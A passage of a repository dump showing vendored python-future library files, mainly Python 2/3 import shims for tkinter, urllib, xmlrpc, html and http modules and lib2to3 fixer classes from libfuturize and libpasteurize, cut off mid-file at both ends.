11 | raise ImportError('The Dialog module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/tkinter/dnd.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.dnd import *
7 | else:
8 | try:
9 | from Tkdnd import *
10 | except ImportError:
11 | raise ImportError('The Tkdnd module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/tkinter/filedialog.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.filedialog import *
7 | else:
8 | try:
9 | from FileDialog import *
10 | except ImportError:
11 | raise ImportError('The FileDialog module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/tkinter/font.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.font import *
7 | else:
8 | try:
9 | from tkFont import *
10 | except ImportError:
11 | raise ImportError('The tkFont module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/tkinter/messagebox.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.messagebox import *
7 | else:
8 | try:
9 | from tkMessageBox import *
10 | except ImportError:
11 | raise ImportError('The tkMessageBox module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/tkinter/scrolledtext.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.scrolledtext import *
7 | else:
8 | try:
9 | from ScrolledText import *
10 | except ImportError:
11 | raise ImportError('The ScrolledText module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/tkinter/simpledialog.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.simpledialog import *
7 | else:
8 | try:
9 | from SimpleDialog import *
10 | except ImportError:
11 | raise ImportError('The SimpleDialog module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/tkinter/tix.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.tix import *
7 | else:
8 | try:
9 | from Tix import *
10 | except ImportError:
11 | raise ImportError('The Tix module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/tkinter/ttk.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from future.utils import PY3
4 |
5 | if PY3:
6 | from tkinter.ttk import *
7 | else:
8 | try:
9 | from ttk import *
10 | except ImportError:
11 | raise ImportError('The ttk module is missing. Does your Py2 '
12 | 'installation include tkinter?')
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/urllib/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if not PY3:
5 | __future_module__ = True
6 |
7 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/urllib/error.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.standard_library import suspend_hooks
3 |
4 | from future.utils import PY3
5 |
6 | if PY3:
7 | from urllib.error import *
8 | else:
9 | __future_module__ = True
10 |
11 | # We use this method to get at the original Py2 urllib before any renaming magic
12 | # ContentTooShortError = sys.py2_modules['urllib'].ContentTooShortError
13 |
14 | with suspend_hooks():
15 | from urllib import ContentTooShortError
16 | from urllib2 import URLError, HTTPError
17 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/urllib/response.py:
--------------------------------------------------------------------------------
1 | from future import standard_library
2 | from future.utils import PY3
3 |
4 | if PY3:
5 | from urllib.response import *
6 | else:
7 | __future_module__ = True
8 | with standard_library.suspend_hooks():
9 | from urllib import (addbase,
10 | addclosehook,
11 | addinfo,
12 | addinfourl)
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/urllib/robotparser.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if PY3:
5 | from urllib.robotparser import *
6 | else:
7 | __future_module__ = True
8 | from robotparser import *
9 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/winreg.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if PY3:
5 | from winreg import *
6 | else:
7 | __future_module__ = True
8 | from _winreg import *
9 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/xmlrpc/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/future/src/future/moves/xmlrpc/__init__.py
--------------------------------------------------------------------------------
/lib/future/src/future/moves/xmlrpc/client.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if PY3:
5 | from xmlrpc.client import *
6 | else:
7 | from xmlrpclib import *
8 |
--------------------------------------------------------------------------------
/lib/future/src/future/moves/xmlrpc/server.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if PY3:
5 | from xmlrpc.server import *
6 | else:
7 | from xmlrpclib import *
8 |
--------------------------------------------------------------------------------
/lib/future/src/future/tests/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/future/src/future/tests/__init__.py
--------------------------------------------------------------------------------
/lib/future/src/future/types/newmemoryview.py:
--------------------------------------------------------------------------------
1 | """
2 | A pretty lame implementation of a memoryview object for Python 2.6.
3 | """
4 |
5 | from collections import Iterable
6 | from numbers import Integral
7 | import string
8 |
9 | from future.utils import istext, isbytes, PY3, with_metaclass
10 | from future.types import no, issubset
11 |
12 |
13 | # class BaseNewBytes(type):
14 | # def __instancecheck__(cls, instance):
15 | # return isinstance(instance, _builtin_bytes)
16 |
17 |
18 | class newmemoryview(object): # with_metaclass(BaseNewBytes, _builtin_bytes)):
19 | """
20 | A pretty lame backport of the Python 2.7 and Python 3.x
21 | memoryviewview object to Py2.6.
22 | """
23 | def __init__(self, obj):
24 | return obj
25 |
26 |
27 | __all__ = ['newmemoryview']
28 |
--------------------------------------------------------------------------------
/lib/future/src/future/types/newopen.py:
--------------------------------------------------------------------------------
1 | """
2 | A substitute for the Python 3 open() function.
3 |
4 | Note that io.open() is more complete but maybe slower. Even so, the
5 | completeness may be a better default. TODO: compare these
6 | """
7 |
8 | _builtin_open = open
9 |
10 | class newopen(object):
11 | """Wrapper providing key part of Python 3 open() interface.
12 |
13 | From IPython's py3compat.py module. License: BSD.
14 | """
15 | def __init__(self, fname, mode="r", encoding="utf-8"):
16 | self.f = _builtin_open(fname, mode)
17 | self.enc = encoding
18 |
19 | def write(self, s):
20 | return self.f.write(s.encode(self.enc))
21 |
22 | def read(self, size=-1):
23 | return self.f.read(size).decode(self.enc)
24 |
25 | def close(self):
26 | return self.f.close()
27 |
28 | def __enter__(self):
29 | return self
30 |
31 | def __exit__(self, etype, value, traceback):
32 | self.f.close()
33 |
34 |
--------------------------------------------------------------------------------
/lib/future/src/html/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | import sys
3 |
4 | if sys.version_info[0] < 3:
5 | from future.moves.html import *
6 | else:
7 | raise ImportError('This package should not be accessible on Python 3. '
8 | 'Either you are trying to run from the python-future src folder '
9 | 'or your installation of python-future is corrupted.')
10 |
--------------------------------------------------------------------------------
/lib/future/src/html/entities.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from future.utils import PY3
3 |
4 | if PY3:
5 | from html.entities import *
6 | else:
7 | from future.moves.html.entities import *
8 |
--------------------------------------------------------------------------------
/lib/future/src/html/parser.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | import sys
3 | __future_module__ = True
4 |
5 | if sys.version_info[0] == 3:
6 | raise ImportError('Cannot import module from python-future source folder')
7 | else:
8 | from future.moves.html.parser import *
9 |
--------------------------------------------------------------------------------
/lib/future/src/http/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | import sys
3 |
4 | if sys.version_info[0] < 3:
5 | pass
6 | else:
7 | raise ImportError('This package should not be accessible on Python 3. '
8 | 'Either you are trying to run from the python-future src folder '
9 | 'or your installation of python-future is corrupted.')
10 |
--------------------------------------------------------------------------------
/lib/future/src/http/cookiejar.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | import sys
3 |
4 | assert sys.version_info[0] < 3
5 |
6 | from cookielib import *
7 |
--------------------------------------------------------------------------------
/lib/future/src/http/cookies.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | import sys
3 |
4 | assert sys.version_info[0] < 3
5 |
6 | from Cookie import *
7 | from Cookie import Morsel # left out of __all__ on Py2.7!
8 |
--------------------------------------------------------------------------------
/lib/future/src/http/server.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | import sys
3 |
4 | assert sys.version_info[0] < 3
5 |
6 | from BaseHTTPServer import *
7 | from CGIHTTPServer import *
8 | from SimpleHTTPServer import *
9 | try:
10 | from CGIHTTPServer import _url_collapse_path # needed for a test
11 | except ImportError:
12 | try:
13 | # Python 2.7.0 to 2.7.3
14 | from CGIHTTPServer import (
15 | _url_collapse_path_split as _url_collapse_path)
16 | except ImportError:
17 | # Doesn't exist on Python 2.6.x. Ignore it.
18 | pass
19 |
--------------------------------------------------------------------------------
/lib/future/src/libfuturize/__init__.py:
--------------------------------------------------------------------------------
1 | # empty to make this a package
2 |
--------------------------------------------------------------------------------
/lib/future/src/libfuturize/fixes/fix_add__future__imports_except_unicode_literals.py:
--------------------------------------------------------------------------------
1 | """
2 | Fixer for adding:
3 |
4 | from __future__ import absolute_import
5 | from __future__ import division
6 | from __future__ import print_function
7 |
8 | This is "stage 1": hopefully uncontroversial changes.
9 |
10 | Stage 2 adds ``unicode_literals``.
11 | """
12 |
13 | from lib2to3 import fixer_base
14 | from libfuturize.fixer_util import future_import
15 |
16 | class FixAddFutureImportsExceptUnicodeLiterals(fixer_base.BaseFix):
17 | BM_compatible = True
18 | PATTERN = "file_input"
19 |
20 | run_order = 9
21 |
22 | def transform(self, node, results):
23 | # Reverse order:
24 | future_import(u"print_function", node)
25 | future_import(u"division", node)
26 | future_import(u"absolute_import", node)
27 |
28 |
--------------------------------------------------------------------------------
/lib/future/src/libfuturize/fixes/fix_basestring.py:
--------------------------------------------------------------------------------
1 | """
2 | Fixer that adds ``from past.builtins import basestring`` if there is a
3 | reference to ``basestring``
4 | """
5 |
6 | from lib2to3 import fixer_base
7 |
8 | from libfuturize.fixer_util import touch_import_top
9 |
10 |
11 | class FixBasestring(fixer_base.BaseFix):
12 | BM_compatible = True
13 |
14 | PATTERN = "'basestring'"
15 |
16 | def transform(self, node, results):
17 | touch_import_top(u'past.builtins', 'basestring', node)
18 |
19 |
--------------------------------------------------------------------------------
/lib/future/src/libfuturize/fixes/fix_bytes.py:
--------------------------------------------------------------------------------
1 | """Optional fixer that changes all unprefixed string literals "..." to b"...".
2 |
3 | br'abcd' is a SyntaxError on Python 2 but valid on Python 3.
4 | ur'abcd' is a SyntaxError on Python 3 but valid on Python 2.
5 |
6 | """
7 | from __future__ import unicode_literals
8 |
9 | import re
10 | from lib2to3.pgen2 import token
11 | from lib2to3 import fixer_base
12 |
13 | _literal_re = re.compile(r"[^bBuUrR]?[\'\"]")
14 |
15 | class FixBytes(fixer_base.BaseFix):
16 | BM_compatible = True
17 | PATTERN = "STRING"
18 |
19 | def transform(self, node, results):
20 | if node.type == token.STRING:
21 | if _literal_re.match(node.value):
22 | new = node.clone()
23 | new.value = u'b' + new.value
24 | return new
25 |
--------------------------------------------------------------------------------
/lib/future/src/libfuturize/fixes/fix_cmp.py:
--------------------------------------------------------------------------------
1 | # coding: utf-8
2 | """
3 | Fixer for the cmp() function on Py2, which was removed in Py3.
4 |
5 | Adds this import line::
6 |
7 | from past.builtins import cmp
8 |
9 | if cmp() is called in the code.
10 | """
11 |
12 | from __future__ import unicode_literals
13 | from lib2to3 import fixer_base
14 |
15 | from libfuturize.fixer_util import touch_import_top
16 |
17 |
18 | expression = "name='cmp'"
19 |
20 |
21 | class FixCmp(fixer_base.BaseFix):
22 | BM_compatible = True
23 | run_order = 9
24 |
25 | PATTERN = """
26 | power<
27 | ({0}) trailer< '(' args=[any] ')' >
28 | rest=any* >
29 | """.format(expression)
30 |
31 | def transform(self, node, results):
32 | name = results["name"]
33 | touch_import_top(u'past.builtins', name.value, node)
34 |
35 |
--------------------------------------------------------------------------------
/lib/future/src/libfuturize/fixes/fix_division.py:
--------------------------------------------------------------------------------
1 | """
2 | UNFINISHED
3 | For the ``future`` package.
4 |
5 | Adds this import line:
6 |
7 | from __future__ import division
8 |
9 | at the top so the code runs identically on Py3 and Py2.6/2.7
10 | """
11 |
12 | from libpasteurize.fixes.fix_division import FixDivision
13 |
14 |
--------------------------------------------------------------------------------
/lib/future/src/libfuturize/fixes/fix_execfile.py:
--------------------------------------------------------------------------------
1 | # coding: utf-8
2 | """
3 | Fixer for the execfile() function on Py2, which was removed in Py3.
4 |
5 | The Lib/lib2to3/fixes/fix_execfile.py module has some problems: see
6 | python-future issue #37. This fixer merely imports execfile() from
7 | past.builtins and leaves the code alone.
8 |
9 | Adds this import line::
10 |
11 | from past.builtins import execfile
12 |
13 | for the function execfile() that was removed from Py3.
14 | """
15 |
16 | from __future__ import unicode_literals
17 | from lib2to3 import fixer_base
18 |
19 | from libfuturize.fixer_util import touch_import_top
20 |
21 |
22 | expression = "name='execfile'"
23 |
24 |
25 | class FixExecfile(fixer_base.BaseFix):
26 | BM_compatible = True
27 | run_order = 9
28 |
29 | PATTERN = """
30 | power<
31 | ({0}) trailer< '(' args=[any] ')' >
32 | rest=any* >
33 | """.format(expression)
34 |
35 | def transform(self, node, results):
36 | name = results["name"]
37 | touch_import_top(u'past.builtins', name.value, node)
38 |
39 |
--------------------------------------------------------------------------------
/lib/future/src/libfuturize/fixes/fix_future_standard_library.py:
--------------------------------------------------------------------------------
1 | """
2 | For the ``future`` package.
3 |
4 | Changes any imports needed to reflect the standard library reorganization. Also
5 | Also adds these import lines:
6 |
7 | from future import standard_library
8 | standard_library.install_aliases()
9 |
10 | after any __future__ imports but before any other imports.
11 | """
12 |
13 | from lib2to3.fixes.fix_imports import FixImports
14 | from libfuturize.fixer_util import touch_import_top
15 |
16 |
17 | class FixFutureStandardLibrary(FixImports):
18 | run_order = 8
19 |
20 | def transform(self, node, results):
21 | result = super(FixFutureStandardLibrary, self).transform(node, results)
22 | # TODO: add a blank line between any __future__ imports and this?
23 | touch_import_top(u'future', u'standard_library', node)
24 | return result
25 |
26 |
27 |
--------------------------------------------------------------------------------
/lib/future/src/libfuturize/fixes/fix_object.py:
--------------------------------------------------------------------------------
1 | """
2 | Fixer that adds ``from builtins import object`` if there is a line
3 | like this:
4 | class Foo(object):
5 | """
6 |
7 | from lib2to3 import fixer_base
8 |
9 | from libfuturize.fixer_util import touch_import_top
10 |
11 |
12 | class FixObject(fixer_base.BaseFix):
13 |
14 | PATTERN = u"classdef< 'class' NAME '(' name='object' ')' colon=':' any >"
15 |
16 | def transform(self, node, results):
17 | touch_import_top(u'builtins', 'object', node)
18 |
--------------------------------------------------------------------------------
/lib/future/src/libfuturize/fixes/fix_order___future__imports.py:
--------------------------------------------------------------------------------
1 | """
2 | UNFINISHED
3 |
4 | Fixer for turning multiple lines like these:
5 |
6 | from __future__ import division
7 | from __future__ import absolute_import
8 | from __future__ import print_function
9 |
10 | into a single line like this:
11 |
12 | from __future__ import (absolute_import, division, print_function)
13 |
14 | This helps with testing of ``futurize``.
15 | """
16 |
17 | from lib2to3 import fixer_base
18 | from libfuturize.fixer_util import future_import
19 |
20 | class FixOrderFutureImports(fixer_base.BaseFix):
21 | BM_compatible = True
22 | PATTERN = "file_input"
23 |
24 | run_order = 10
25 |
26 | # def match(self, node):
27 | # """
28 | # Match only once per file
29 | # """
30 | # if hasattr(node, 'type') and node.type == syms.file_input:
31 | # return True
32 | # return False
33 |
34 | def transform(self, node, results):
35 | # TODO # write me
36 | pass
37 |
38 |
--------------------------------------------------------------------------------
/lib/future/src/libfuturize/fixes/fix_print_with_import.py:
--------------------------------------------------------------------------------
1 | """
2 | For the ``future`` package.
3 |
4 | Turns any print statements into functions and adds this import line:
5 |
6 | from __future__ import print_function
7 |
8 | at the top to retain compatibility with Python 2.6+.
9 | """
10 |
11 | from libfuturize.fixes.fix_print import FixPrint
12 | from libfuturize.fixer_util import future_import
13 |
14 | class FixPrintWithImport(FixPrint):
15 | run_order = 7
16 | def transform(self, node, results):
17 | # Add the __future__ import first. (Otherwise any shebang or encoding
18 | # comment line attached as a prefix to the print statement will be
19 | # copied twice and appear twice.)
20 | future_import(u'print_function', node)
21 | n_stmt = super(FixPrintWithImport, self).transform(node, results)
22 | return n_stmt
23 |
24 |
--------------------------------------------------------------------------------
/lib/future/src/libfuturize/fixes/fix_remove_old__future__imports.py:
--------------------------------------------------------------------------------
1 | """
2 | Fixer for removing any of these lines:
3 |
4 | from __future__ import with_statement
5 | from __future__ import nested_scopes
6 | from __future__ import generators
7 |
8 | The reason is that __future__ imports like these are required to be the first
9 | line of code (after docstrings) on Python 2.6+, which can get in the way.
10 |
11 | These imports are always enabled in Python 2.6+, which is the minimum sane
12 | version to target for Py2/3 compatibility.
13 | """
14 |
15 | from lib2to3 import fixer_base
16 | from libfuturize.fixer_util import remove_future_import
17 |
18 | class FixRemoveOldFutureImports(fixer_base.BaseFix):
19 | BM_compatible = True
20 | PATTERN = "file_input"
21 | run_order = 1
22 |
23 | def transform(self, node, results):
24 | remove_future_import(u"with_statement", node)
25 | remove_future_import(u"nested_scopes", node)
26 | remove_future_import(u"generators", node)
27 |
28 |
--------------------------------------------------------------------------------
/lib/future/src/libfuturize/fixes/fix_unicode_keep_u.py:
--------------------------------------------------------------------------------
1 | """Fixer that changes unicode to str and unichr to chr, but -- unlike the
2 | lib2to3 fix_unicode.py fixer, does not change u"..." into "...".
3 |
4 | The reason is that Py3.3+ supports the u"..." string prefix, and, if
5 | present, the prefix may provide useful information for disambiguating
6 | between byte strings and unicode strings, which is often the hardest part
7 | of the porting task.
8 |
9 | """
10 |
11 | from lib2to3.pgen2 import token
12 | from lib2to3 import fixer_base
13 |
14 | _mapping = {u"unichr" : u"chr", u"unicode" : u"str"}
15 |
16 | class FixUnicodeKeepU(fixer_base.BaseFix):
17 | BM_compatible = True
18 | PATTERN = "'unicode' | 'unichr'"
19 |
20 | def transform(self, node, results):
21 | if node.type == token.NAME:
22 | new = node.clone()
23 | new.value = _mapping[node.value]
24 | return new
25 |
26 |
--------------------------------------------------------------------------------
/lib/future/src/libfuturize/fixes/fix_unicode_literals_import.py:
--------------------------------------------------------------------------------
1 | """
2 | Adds this import:
3 |
4 | from __future__ import unicode_literals
5 |
6 | """
7 |
8 | from lib2to3 import fixer_base
9 | from libfuturize.fixer_util import future_import
10 |
11 | class FixUnicodeLiteralsImport(fixer_base.BaseFix):
12 | BM_compatible = True
13 | PATTERN = "file_input"
14 |
15 | run_order = 9
16 |
17 | def transform(self, node, results):
18 | future_import(u"unicode_literals", node)
19 |
20 |
--------------------------------------------------------------------------------
/lib/future/src/libfuturize/fixes/fix_xrange_with_import.py:
--------------------------------------------------------------------------------
1 | """
2 | For the ``future`` package.
3 |
4 | Turns any xrange calls into range calls and adds this import line:
5 |
6 | from builtins import range
7 |
8 | at the top.
9 | """
10 |
11 | from lib2to3.fixes.fix_xrange import FixXrange
12 |
13 | from libfuturize.fixer_util import touch_import_top
14 |
15 |
16 | class FixXrangeWithImport(FixXrange):
17 | def transform(self, node, results):
18 | result = super(FixXrangeWithImport, self).transform(node, results)
19 | touch_import_top('builtins', 'range', node)
20 | return result
21 |
--------------------------------------------------------------------------------
/lib/future/src/libpasteurize/__init__.py:
--------------------------------------------------------------------------------
1 | # empty to make this a package
2 |
--------------------------------------------------------------------------------
/lib/future/src/libpasteurize/fixes/fix_add_all__future__imports.py:
--------------------------------------------------------------------------------
1 | """
2 | Fixer for adding:
3 |
4 | from __future__ import absolute_import
5 | from __future__ import division
6 | from __future__ import print_function
7 | from __future__ import unicode_literals
8 |
9 | This is done when converting from Py3 to both Py3/Py2.
10 | """
11 |
12 | from lib2to3 import fixer_base
13 | from libfuturize.fixer_util import future_import
14 |
15 | class FixAddAllFutureImports(fixer_base.BaseFix):
16 | BM_compatible = True
17 | PATTERN = "file_input"
18 | run_order = 1
19 |
20 | def transform(self, node, results):
21 | future_import(u"unicode_literals", node)
22 | future_import(u"print_function", node)
23 | future_import(u"division", node)
24 | future_import(u"absolute_import", node)
25 |
26 |
--------------------------------------------------------------------------------
/lib/future/src/libpasteurize/fixes/fix_add_future_standard_library_import.py:
--------------------------------------------------------------------------------
1 | """
2 | For the ``future`` package.
3 |
4 | Adds this import line:
5 |
6 | from future import standard_library
7 |
8 | after any __future__ imports but before any other imports. Doesn't actually
9 | change the imports to Py3 style.
10 | """
11 |
12 | from lib2to3 import fixer_base
13 | from libfuturize.fixer_util import touch_import_top
14 |
15 | class FixAddFutureStandardLibraryImport(fixer_base.BaseFix):
16 | BM_compatible = True
17 | PATTERN = "file_input"
18 | run_order = 8
19 |
20 | def transform(self, node, results):
21 | # TODO: add a blank line between any __future__ imports and this?
22 | touch_import_top(u'future', u'standard_library', node)
23 | # TODO: also add standard_library.install_hooks()
24 |
--------------------------------------------------------------------------------
/lib/future/src/libpasteurize/fixes/fix_division.py:
--------------------------------------------------------------------------------
1 | u"""
2 | Fixer for division: from __future__ import division if needed
3 | """
4 |
5 | from lib2to3 import fixer_base
6 | from libfuturize.fixer_util import token, future_import
7 |
8 | def match_division(node):
9 | u"""
10 | __future__.division redefines the meaning of a single slash for division,
11 | so we match that and only that.
12 | """
13 | slash = token.SLASH
14 | return node.type == slash and not node.next_sibling.type == slash and \
15 | not node.prev_sibling.type == slash
16 |
17 | class FixDivision(fixer_base.BaseFix):
18 | run_order = 4 # this seems to be ignored?
19 |
20 | def match(self, node):
21 | u"""
22 | Since the tree needs to be fixed once and only once if and only if it
23 | matches, then we can start discarding matches after we make the first.
24 | """
25 | return match_division(node)
26 |
27 | def transform(self, node, results):
28 | future_import(u"division", node)
29 |
--------------------------------------------------------------------------------
/lib/future/src/libpasteurize/fixes/fix_fullargspec.py:
--------------------------------------------------------------------------------
1 | u"""
2 | Fixer for getfullargspec -> getargspec
3 | """
4 |
5 | from lib2to3 import fixer_base
6 | from lib2to3.fixer_util import Name
7 |
8 | warn_msg = u"some of the values returned by getfullargspec are not valid in Python 2 and have no equivalent."
9 |
10 | class FixFullargspec(fixer_base.BaseFix):
11 |
12 | PATTERN = u"'getfullargspec'"
13 |
14 | def transform(self, node, results):
15 | self.warning(node, warn_msg)
16 | return Name(u"getargspec", prefix=node.prefix)
17 |
--------------------------------------------------------------------------------
/lib/future/src/libpasteurize/fixes/fix_getcwd.py:
--------------------------------------------------------------------------------
1 | u"""
2 | Fixer for os.getcwd() -> os.getcwdu().
3 | Also warns about "from os import getcwd", suggesting the above form.
4 | """
5 |
6 | from lib2to3 import fixer_base
7 | from lib2to3.fixer_util import Name
8 |
9 | class FixGetcwd(fixer_base.BaseFix):
10 |
11 | PATTERN = u"""
12 | power< 'os' trailer< dot='.' name='getcwd' > any* >
13 | |
14 | import_from< 'from' 'os' 'import' bad='getcwd' >
15 | """
16 |
17 | def transform(self, node, results):
18 | if u"name" in results:
19 | name = results[u"name"]
20 | name.replace(Name(u"getcwdu", prefix=name.prefix))
21 | elif u"bad" in results:
22 | # Can't convert to getcwdu and then expect to catch every use.
23 | self.cannot_convert(node, u"import os, use os.getcwd() instead.")
24 | return
25 | else:
26 | raise ValueError(u"For some reason, the pattern matcher failed.")
27 |
--------------------------------------------------------------------------------
/lib/future/src/libpasteurize/fixes/fix_memoryview.py:
--------------------------------------------------------------------------------
1 | u"""
2 | Fixer for memoryview(s) -> buffer(s).
3 | Explicit because some memoryview methods are invalid on buffer objects.
4 | """
5 |
6 | from lib2to3 import fixer_base
7 | from lib2to3.fixer_util import Name
8 |
9 |
10 | class FixMemoryview(fixer_base.BaseFix):
11 |
12 | explicit = True # User must specify that they want this.
13 |
14 | PATTERN = u"""
15 | power< name='memoryview' trailer< '(' [any] ')' >
16 | rest=any* >
17 | """
18 |
19 | def transform(self, node, results):
20 | name = results[u"name"]
21 | name.replace(Name(u"buffer", prefix=name.prefix))
22 |
--------------------------------------------------------------------------------
/lib/future/src/libpasteurize/fixes/fix_newstyle.py:
--------------------------------------------------------------------------------
1 | u"""
2 | Fixer for "class Foo: ..." -> "class Foo(object): ..."
3 | """
4 |
5 | from lib2to3 import fixer_base
6 | from lib2to3.fixer_util import LParen, RParen, Name
7 |
8 | from libfuturize.fixer_util import touch_import_top
9 |
10 |
11 | def insert_object(node, idx):
12 | node.insert_child(idx, RParen())
13 | node.insert_child(idx, Name(u"object"))
14 | node.insert_child(idx, LParen())
15 |
16 | class FixNewstyle(fixer_base.BaseFix):
17 |
18 | # Match:
19 | # class Blah:
20 | # and:
21 | # class Blah():
22 |
23 | PATTERN = u"classdef< 'class' NAME ['(' ')'] colon=':' any >"
24 |
25 | def transform(self, node, results):
26 | colon = results[u"colon"]
27 | idx = node.children.index(colon)
28 | if (node.children[idx-2].value == '(' and
29 | node.children[idx-1].value == ')'):
30 | del node.children[idx-2:idx]
31 | idx -= 2
32 | insert_object(node, idx)
33 | touch_import_top(u'builtins', 'object', node)
34 |
--------------------------------------------------------------------------------
/lib/future/src/libpasteurize/fixes/fix_printfunction.py:
--------------------------------------------------------------------------------
1 | u"""
2 | Fixer for print: from __future__ import print_function.
3 | """
4 |
5 | from lib2to3 import fixer_base
6 | from libfuturize.fixer_util import future_import
7 |
8 | class FixPrintfunction(fixer_base.BaseFix):
9 |
10 | # explicit = True
11 |
12 | PATTERN = u"""
13 | power< 'print' trailer < '(' any* ')' > any* >
14 | """
15 |
16 | def transform(self, node, results):
17 | future_import(u"print_function", node)
18 |
--------------------------------------------------------------------------------
/lib/future/src/libpasteurize/fixes/fix_throw.py:
--------------------------------------------------------------------------------
1 | u"""Fixer for 'g.throw(E(V).with_traceback(T))' -> 'g.throw(E, V, T)'"""
2 |
3 | from lib2to3 import fixer_base
4 | from lib2to3.pytree import Node, Leaf
5 | from lib2to3.pgen2 import token
6 | from lib2to3.fixer_util import Comma
7 |
8 | class FixThrow(fixer_base.BaseFix):
9 |
10 | PATTERN = u"""
11 | power< any trailer< '.' 'throw' >
12 | trailer< '(' args=power< exc=any trailer< '(' val=any* ')' >
13 | trailer< '.' 'with_traceback' > trailer< '(' trc=any ')' > > ')' > >
14 | """
15 |
16 | def transform(self, node, results):
17 | syms = self.syms
18 | exc, val, trc = (results[u"exc"], results[u"val"], results[u"trc"])
19 | val = val[0] if val else Leaf(token.NAME, u"None")
20 | val.prefix = trc.prefix = u" "
21 | kids = [exc.clone(), Comma(), val.clone(), Comma(), trc.clone()]
22 | args = results[u"args"]
23 | args.children = kids
24 |
--------------------------------------------------------------------------------
/lib/future/src/past/tests/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/future/src/past/tests/__init__.py
--------------------------------------------------------------------------------
/lib/future/src/past/types/__init__.py:
--------------------------------------------------------------------------------
1 | """
2 | Forward-ports of types from Python 2 for use with Python 3:
3 |
4 | - ``basestring``: equivalent to ``(str, bytes)`` in ``isinstance`` checks
5 | - ``dict``: with list-producing .keys() etc. methods
6 | - ``str``: bytes-like, but iterating over them doesn't product integers
7 | - ``long``: alias of Py3 int with ``L`` suffix in the ``repr``
8 | - ``unicode``: alias of Py3 str with ``u`` prefix in the ``repr``
9 |
10 | """
11 |
12 | from past import utils
13 |
14 | if utils.PY2:
15 | import __builtin__
16 | basestring = __builtin__.basestring
17 | dict = __builtin__.dict
18 | str = __builtin__.str
19 | long = __builtin__.long
20 | unicode = __builtin__.unicode
21 | __all__ = []
22 | else:
23 | from .basestring import basestring
24 | from .olddict import olddict
25 | from .oldstr import oldstr
26 | long = int
27 | unicode = str
28 | # from .unicode import unicode
29 | __all__ = ['basestring', 'olddict', 'oldstr', 'long', 'unicode']
30 |
31 |
--------------------------------------------------------------------------------
/lib/future/src/past/types/basestring.py:
--------------------------------------------------------------------------------
1 | """
2 | An implementation of the basestring type for Python 3
3 |
4 | Example use:
5 |
6 | >>> s = b'abc'
7 | >>> assert isinstance(s, basestring)
8 | >>> from past.types import str as oldstr
9 | >>> s2 = oldstr(b'abc')
10 | >>> assert isinstance(s2, basestring)
11 |
12 | """
13 |
14 | import sys
15 |
16 | from past.utils import with_metaclass, PY2
17 |
18 | if PY2:
19 | str = unicode
20 |
21 | ver = sys.version_info[:2]
22 |
23 |
24 | class BaseBaseString(type):
25 | def __instancecheck__(cls, instance):
26 | return isinstance(instance, (bytes, str))
27 |
28 | def __subclasshook__(cls, thing):
29 | # TODO: What should go here?
